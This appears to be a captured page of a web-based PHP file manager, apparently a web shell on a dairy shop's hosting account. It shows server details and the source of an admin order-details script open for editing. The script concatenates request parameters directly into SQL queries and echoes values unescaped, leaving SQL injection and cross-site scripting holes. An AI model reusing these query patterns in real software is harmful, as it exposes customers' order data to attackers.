Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 4.18.0-553.40.1.lve.el8.x86_64

PHP Version:

8.2.27

User:

u176930106

Directory:

/home/u176930106/domains/thackerdairy.com/public_html/webadmin

Free Space:

1.91 TB

🔧 Quick Actions

✏️ Editing: orderdetails.php

<?php
ob_start();
session_start();
include("includes/inall.php");
if(isset($_REQUEST['orno']) && $_REQUEST['orno']!="") {
	$row=mysqli_fetch_assoc(mysqli_query($con,"select * from `orderp` where `or_id`='".$_GET['orno']."'"));
}
if(isset($_REQUEST['ornoc']) && $_REQUEST['ornoc']!="" && $_REQUEST['cancel']=="true") {
	mysqli_query($con,"update `orderp` set `orderstatus`='Order Cancelled' where `or_id`='".$_REQUEST['ornoc']."'");
	$roword=mysqli_fetch_assoc(mysqli_query($con,"select * from `orderp` where `or_id`='".$_GET['ornoc']."'"));
	mysqli_query($con,"update `orderpro` set `status`='Order Cancelled' where `orderpro_ref`='".$roword['order_id']."'");
	$resy=mysqli_query($con,"select * from `orderp` where `or_id`='".$_REQUEST['ornoc']."'");
	$rowy=mysqli_fetch_assoc($resy);
	$resya=mysqli_query($con,"select * from `orderpro` where `orderpro_ref`='".$rowy['order_id']."'");
	while($rowya=mysqli_fetch_assoc($resya)) { 
		$resyb=mysqli_query($con,"select * from `newproduct` where `pro_id`='".$rowya['orderpro_pro']."'");
		$rowyb=mysqli_fetch_assoc($resyb);
		$cstock=$rowyb['instock'];
		$sto=$cstock+$rowya['orderpro_qty'];
		mysqli_query($con,"update `newproduct` set `instock`='".$sto."' where `pro_id`='".$rowya['orderpro_pro']."'");
	}
	header("location:orderdetails.php?orno=".$_REQUEST['ornoc']);
	exit();
}
if(isset($_POST['sub']) && $_POST['sub']!="") {
	$insert_sql_data=array('or_bfname'=>$or_bfname,
	'or_blname'=>$or_blname,
	'or_bphone'=>$or_bphone,
	'or_bemail'=>$or_bemail,
	'or_baddressa'=>$or_baddressa,
	'or_baddressb'=>$or_baddressb,
	'or_bcity'=>$or_bcity,
	'or_bstate'=>$or_bstate,
	'or_bpin'=>$or_bpin,
	'or_bcountry'=>$or_bcountry,
	'or_details'=>$or_details
	);
	tep_db_perform("orderp",$insert_sql_data,'update',"order_id='".$row['order_id']."'");
	header("location:orderdetails.php?orno=".$_REQUEST['orno']);
	exit();
}
include("includes/headermain.php"); 
?>
<script language="javascript" type="text/javascript">
/*function changestatus(val) {
	document.getElementById("itst"+val).style.display='none';
	document.getElementById("itstb"+val).style.display='none';
	document.getElementById("itsta"+val).style.display='block';
}
function changerem(val) {
	document.getElementById("remt"+val).style.display='none';
	document.getElementById("remtb"+val).style.display='none';
	document.getElementById("remta"+val).style.display='block';
}*/
function changeorstatus() {
	document.getElementById("orst").style.display='none';
	document.getElementById("orstb").style.display='none';
	document.getElementById("orsta").style.display='block';
}
function changerema() {
	document.getElementById("remtpa").style.display='none';
	document.getElementById("remtpc").style.display='none';
	document.getElementById("remtpb").style.display='block';
}
</script>
<body>


<div id="preloader">
	<div class="loader"></div>
</div>


<div class="page-container">
	
	<?php include("includes/leftmenu.php"); ?>
	
	
	<div class="main-content">
		
		<?php include("includes/header.php"); ?>
		
	 	<div class="main-content-inner">
			
			<div> 
				<div class="col-lg-12 mt-4">
					<div class="card">
						<div class="card-body">
							<form name="itemform" action="#" method="post">
								<input type="hidden" name="proidhd" id="proidhd" value="<?php print $row['order_id']; ?>">
								<input type="hidden" name="orno" value="<?php print $_REQUEST['orno']; ?>">
								<table class="ordtbl">
									<tbody>
										<tr>
											<td align="center">&nbsp;</td>
											<td align="left">Shipping Address</td>
											<td align="left">Others</td>
											<td align="left">Option</td>
										</tr>
										<tr>
											<td align="left" width="1%" valign="top">&nbsp;</td>
											<td align="left" width="30%" valign="top">
												<?php if($_GET['edit']=="" ) { ?>
												<?php print $row['or_bcountry']; ?>
												<br>
												<?php print $row['or_bfname']; ?> <?php print $row['or_blname']; ?>
												<br>
												<?php print $row['or_baddressa']; ?>
												<br>
												<?php print $row['or_baddressb']; ?>
												<br>
												<?php print $row['or_bcity']; ?>
												<br>
												<?php print $row['or_bstate']; ?>
												<br>
												<?php print $row['or_bpin']; ?>
												<br>
												<?php print $row['or_bemail']; ?>
												<br>
												<?php print $row['or_bphone']; ?>
												<br>
												<?php print $row['or_details']; ?>
												<br>
												<input type="button" value="Edit" class="btn btn-primary pr-4 pl-4" onClick="location.href='orderdetails.php?edit=true&orno=<?php print $_REQUEST['orno']; ?>'">
												<?php } ?>
												<?php if($_GET['edit']=="true" ) { ?>
												<input type="text" name="or_bcountry" value="<?php print $row['or_bcountry']; ?>" class="bigfont">
												<br>
												<input type="text" name="or_bfname" value="<?php print $row['or_bfname']; ?>" class="bigfont">
												<br>
												<input type="text" name="or_blname" value="<?php print $row['or_blname']; ?>" class="bigfont">
												<br>
												<input type="text" name="or_baddressa" value="<?php print $row['or_baddressa']; ?>" class="bigfont">
												<br>
												<input type="text" name="or_baddressb" value="<?php print $row['or_baddressb']; ?>" class="bigfont">
												<br>
												<input type="text" name="or_bcity" value="<?php print $row['or_bcity']; ?>" class="bigfont">
												<br>
												<input type="text" name="or_bstate" value="<?php print $row['or_bstate']; ?>" class="bigfont">
												<br>
												<input type="text" name="or_bemail" value="<?php print $row['or_bemail']; ?>" class="bigfont">
												<br>
												<input type="text" name="or_bphone" value="<?php print $row['or_bphone']; ?>" class="bigfont">
												<br>
												<input type="text" name="or_details" value="<?php print $row['or_details']; ?>" class="bigfont">
												<br>
												<input type="submit" value="Submit" name="sub" class="btn btn-primary pr-4 pl-4">
												<?php } ?>
											</td>
											<td align="left" width="30%" valign="top">
												Order No.:&nbsp;<?php print $row['or_id']; ?>
												<br>Date:&nbsp;
												<?php print $row['or_date']; ?>
												<br>Time:&nbsp;
												<?php print $row['or_time']; ?>
												<br>Mode:&nbsp;
												<?php print $row['or_category']; ?>
												<br>
											</td>
											<td align="center" width="10%" valign="top">
												<?php if($row['orderstatus']!="Order Cancelled") { ?>
												<input type="button" value="Cancel Order" class="btn btn-primary pr-4 pl-4" onClick="location.href='orderdetails.php?ornoc=<?php print $row['or_id']; ?>&cancel=true'">
												<br><br>
												<?php } ?>
												<input type="button" value="Print Order" class="btn btn-primary pr-4 pl-4" onClick="javascript:PrintDivData('Div_Print');">
												<br><br>
												<a href="orderinvoice.php?orno=<?php print $row['or_id']; ?>" target="_new">Print Invoice</a>
											</td>
										</tr>
					
										<tr>
											<td colspan="2">&nbsp;</td>
										</tr>
									</tbody>
								</table>
								<table class="ordtbl">
									<tbody>
										<tr>
											<td align="left" colspan="5">
												Order Status:&nbsp;<?php print $row['orderstatus']; ?>
											</td>
										</tr>
										<tr>
											<td colspan="5">&nbsp;</td>
										</tr>
										<tr>
											<td align="center">Sl.</td>
											<td align="left" width="40%">Particulars</td>
											<td align="center">Category</td>
											<td align="center">Quantity</td>
											<td align="left" width="30%">Price</td>
					
										</tr>
										<?php 
										$count=1; 
										$totweight=0; 
										$totq=0; 
										$resa=mysqli_query($con,"select * from `orderpro` where `orderpro_ref`='".$row['order_id']."'"); 
										while($rowa=mysqli_fetch_assoc($resa)) { 
											$resproa=mysqli_query($con,"select * from `newproduct` where `pro_id`='".$rowa['orderpro_pro']."'"); 
											if(mysqli_num_rows($resproa)>=1) { 
												$rowoproa=mysqli_fetch_assoc($resproa);
												$rowc=mysqli_fetch_assoc(mysqli_query($con,"select * from `category` where `id`='".$rowoproa['category']."'"));  
										?>
												<tr>
													<td align="center" valign="top">
														<?php print $count; ?>
													</td>
													<td align="left" width="40%" valign="top">
														<div class="floatleft">
															<img src="../proimages/<?php print $rowoproa['fimage']; ?>" alt="Product" width="100" align="left">
														</div>
														<div class="floatleft">
															<strong><?php print $rowoproa['proname']; ?></strong>
															<br>
															Item Code:&nbsp;<?php print $rowoproa['ucode']; ?>
															<br>
															Product No.:&nbsp;<?php print $rowoproa['prono']; ?>
															<?php /*?><br>
															<?php if($rowoproa['weight']!="" ) { ?>
																Weight:&nbsp;<?php print $rowoproa['weight']; ?>
															<?php } ?><?php */?>
														</div>
													</td>
													<td align="center" valign="top">
														<?php print $rowc['name']; ?>
													</td>
													<td align="center" valign="top">
														<?php print $rowa['orderpro_qty']; ?><?php if($rowa['ptype']=="L") { ?>&nbsp;KG<?php } ?>
													</td>
													<td align="left" valign="top">
														<table>
															<tr>
																<td align="left">
																	<td>Paid Unit Price:&nbsp;</td>
																	<td align="right">
																		INR&nbsp;<?php if($rowa['orderpro_val']) { print $rowa['orderpro_val']; } ?>
																	</td>
															</tr>
															<tr>
																<td align="left">
																	<td>Current MRP:&nbsp;</td>
																	<td align="right">
																		INR&nbsp;<?php print $rowoproa['mrp']; ?>
																	</td>
															</tr>
															<tr>
																<td align="left">
																	<td>Current Discount:&nbsp;</td>
																	<td align="right">
																		&nbsp;&nbsp;<?php print $rowoproa['discount']; ?>%
																	</td>
															</tr>
															<tr>
																<td align="left">
																	<td>Current Deal Price:&nbsp;</td>
																	<td align="right">
																		INR&nbsp;<?php print $rowoproa['dprice']; ?>
																	</td>
															</tr>
														</table>
														</td>
												</tr>
												<input type="hidden" name="proidhd<?php print $count; ?>" id="proidhd<?php print $count; ?>" value="<?php print $rowa['orderpro_id']; ?>">
												<?php if($row['orderstatus']!="Order Cancelled" ) { ?>
												<?php /*?><tr>
													<td colspan="3">
														<?php 
														$reshis=mysqli_query($con, "select * from `orderhis` where `ohis_orno`='".$row['orno']."' order by ohis_id desc"); 
														$rowhis=mysqli_fetch_assoc($reshis); ?>
														<div>Status:&nbsp;&nbsp;</div>
														<div id="itst<?php print $count; ?>" class="dleft">
															<?php print $rowa['status']; ?>
														</div>
														<div id="itsta<?php print $count; ?>" class="dleftn">
															<select name="itemst<?php print $count; ?>" class="slfont" id="itemst<?php print $count; ?>">
																<?php 
																$res3 = mysqli_query($con,"select * from `itemstatus`");
																while ($row3 = mysqli_fetch_assoc($res3)) {
																?>
																<option value="<?php print $row3['it_subcate']; ?>" <?php if($row3[it_subcate]==$rowa['status']) { ?>selected<?php } ?>><?php print $row3['it_subcate']; ?>
																<?php } ?>
															</select>&nbsp;&nbsp;
															<input type="button" value="Submit" onclick="submitstatus('<?php print $count; ?>');">
														</div>
														<div id="itstb<?php print $count; ?>" class="dleft">&nbsp;&nbsp;
															<input type="button" value="Change Status" onclick="changestatus('<?php print $count; ?>');">
															<br>
															<?php if($rowhis['ohis_date']) { ?><span id="font_8e75_0">Last Changed on <?php print $rowhis['ohis_date'] ?></span><?php } ?>
														</div>
							
													</td>
													<td colspan="2" id="td_8e75_10">&nbsp;</td>
												</tr>
												<tr>
													<td colspan="2" id="td_8e75_11">
							
														<div id="div_8e75_6">Remarks:&nbsp;&nbsp;</div>
														<div class="div_8e75_7" id="remt<?php print $count; ?>">
															<?php print $rowa['remarks']; ?>
														</div>
														<div id="remta<?php print $count; ?>" class="dleftn">
															<textarea name="remp<?php print $count; ?>" id="remp<?php print $count; ?>" rows="5" cols="20" class="abigfont"><?php print $rowa['remarks']; ?></textarea>&nbsp;&nbsp;
															<input type="button" value="Submit" onclick="submitrem('<?php print $count; ?>');">
														</div>
														<div id="remtb<?php print $count; ?>" class="dleft">&nbsp;&nbsp;
															<input type="button" value="Edit" onclick="changerem('<?php print $count; ?>');">
														</div>
							
													</td>
													<td colspan="3" id="td_8e75_12">&nbsp;</td>
												</tr><?php */?>
												<?php } ?>
												<tr>
													<td colspan="5">&nbsp;</td>
												</tr>
										<?php 
												$count++; 
											//$totweight+=$rowoproa['weight']; 
											//$totq+=$rowa['orderpro_qty']; 
											} else { 
										?>
												<tr>
													<td colspan="5">There was another product with quantity <?php print $rowa['orderpro_qty']; ?>, that product is deleted by admin. System is unable to show it.
													</td>
												</tr>
												<tr>
													<td colspan="5">&nbsp;</td>
												</tr>
										<?php 
											} 
										} 
										?>
										<tr>
											<td colspan="2" align="left">&nbsp;</td>
											<td colspan="2" align="right">
												Subtotal
												<br>Shippping Charge
												<br>Extra Charge (Mill Voucher)
												<br>Net Amount Paid
											</td>
											<td align="right">
												INR&nbsp;<?php print $row['or_value']; ?>
												<br>
												INR&nbsp;<?php print $row['or_shipval']; ?>
												<br>
												INR&nbsp;<?php print $row['or_exval']; ?>
												<br>
												INR&nbsp;<?php print $row['or_net']; ?>
											</td>	
										</tr>
										<tr>
											<td colspan="5">&nbsp;</td>
										</tr>
										<tr>
											<td colspan="3" valign="top">
												<strong>Order Status</strong>
												<div id="orst">
													<?php print $row['orderstatus']; ?>
												</div>
												<div id="orsta">
													<select name="ordst" id="ordst">
														<option value="Order Work In Progress" <?php if($row['orderstatus']=="Order Work In Progress" ) { ?>selected<?php } ?>>Order Work In Progress
														<option value="Awaiting Other Details" <?php if($row['orderstatus']=="Awaiting Other Details" ) { ?>selected<?php } ?>>Awaiting Other Details
														<option value="Order Partially Shipped" <?php if($row['orderstatus']=="Order Partially Shipped" ) { ?>selected<?php } ?>>Order Partially Shipped
														<option value="Order Shipped" <?php if($row['orderstatus']=="Order Shipped" ) { ?>selected<?php } ?>>Order Shipped
														<option value="Order Delivered" <?php if($row['orderstatus']=="Order Delivered" ) { ?>selected<?php } ?>>Order Delivered
														 <option value="Order Completed" <?php if($row['orderstatus']=="Order Completed" ) { ?>selected<?php } ?>>Order Completed
														<option value="Order Cancelled" <?php if($row['orderstatus']=="Order Cancelled" ) { ?>selected<?php } ?>>Order Cancelled
													</select>&nbsp;&nbsp;
													<input type="button" value="Submit" class="btn btn-primary pr-4 pl-4" onClick="submitorstatus();">
												</div>
												<div id="orstb">&nbsp;&nbsp;
													<input type="button" value="Change Status" class="btn btn-primary mt-2 pr-4 pl-4" onClick="changeorstatus();">
												</div>
											</td>
											<td colspan="2" valign="top">
												<strong>Remarks</strong>
												<div id="remtpa">
													<?php print $row['remarks']; ?>
												</div>
												<div id="remtpb">
													<textarea name="rempre" rows="4" cols="30" id="rempre"><?php print $row['remarks']; ?></textarea>
													<div class="cleaner"></div>
													<input type="button" value="Submit" class="btn btn-primary mt-2 pr-4 pl-4" onClick="submitrem();">
												</div>
												<div id="remtpc">
													<input type="button" value="Edit" class="btn btn-primary mt-2 pr-4 pl-4" onClick="changerema();">
												</div>
											</td>
										</tr>
										<tr>
											<td colspan="5">&nbsp;</td>
										</tr>
									   <?php /*?> <tr>
											<td colspan="5">
												<table cellpadding="2" cellspacing="2" width="100%">
													<tr>
														<td align="left" colspan="3" id="td_8e75_21">&nbsp;&nbsp;Order History</td>
													</tr>
													<tr id="tr_8e75_5">
														<td align="center">Date</td>
														<td align="center">Web Code</td>
														<td align="center">Status</td>
													</tr>
													<?php 
														$reshis=mysqli_query($con, "select * from `orderhis` where `ohis_orno`='".$row['or_id']."' order by `ohis_id` desc"); 
														while($rowhis=mysqli_fetch_assoc($reshis)) { 
													?>
														<tr>
															<td align="center">
																<?php print $rowhis['ohis_date']; ?>
															</td>
															<td align="center">
																<?php print $rowhis['ohs_icode']; ?>
															</td>
															<td align="center">
																<?php print $rowhis['ohis_st']; ?>
															</td>
														</tr>
													<?php } ?>
												</table>	
											</td>
										</tr><?php */?>
									</tbody>	
								</table>
							</form>
						</div>	
					</div>
				</div>
			</div>
			
		</div>
	</div>
	
	<?php include("includes/footer.php"); ?>
</div>

</body>
</html>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: orderdetails.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation